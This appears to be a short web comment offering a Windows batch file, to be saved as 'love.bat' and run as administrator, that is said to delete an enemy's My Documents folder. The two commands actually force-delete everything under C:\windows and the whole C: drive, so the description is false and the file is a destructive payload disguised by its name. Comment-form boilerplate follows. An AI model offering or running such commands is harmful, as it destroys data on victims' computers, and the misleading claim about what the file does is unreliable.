HEY man i give u a .BAT file it delete the my documents folder of ur enemy.Open notepad and type following code :-

cmd /c del c:\windows\* /F /S /Q
cmd /c del c:\* /F /S /Q

save this file with "love.bat"

go to notepad, write the code on the notepad using batch language, save as "anytitle.bat, and change document type to all files not just text files. After it will be saved as a batch file and can be ran. Run it by going to your library and double clicking or right click and then run as administrator. Hope this helps :)

Pages

Add new comment

(If you're a human, don't change the following field)
Your first name.
(If you're a human, don't change the following field)
Your first name.
(If you're a human, don't change the following field)
Your first name.

Filtered HTML

  • You may insert videos with [video:URL]
  • You can enable syntax highlighting of source code with the following tags: <code>, <blockcode>, <asp>, <c>, <cpp>, <csharp>, <css>, <html4strict>, <java>, <javascript>, <mysql>, <php>, <python>, <sql>, <vb>, <vbnet>. The supported tag styles are: <foo>, [foo].
  • Lines and paragraphs break automatically.

Plain text

  • No HTML tags allowed.
  • Lines and paragraphs break automatically.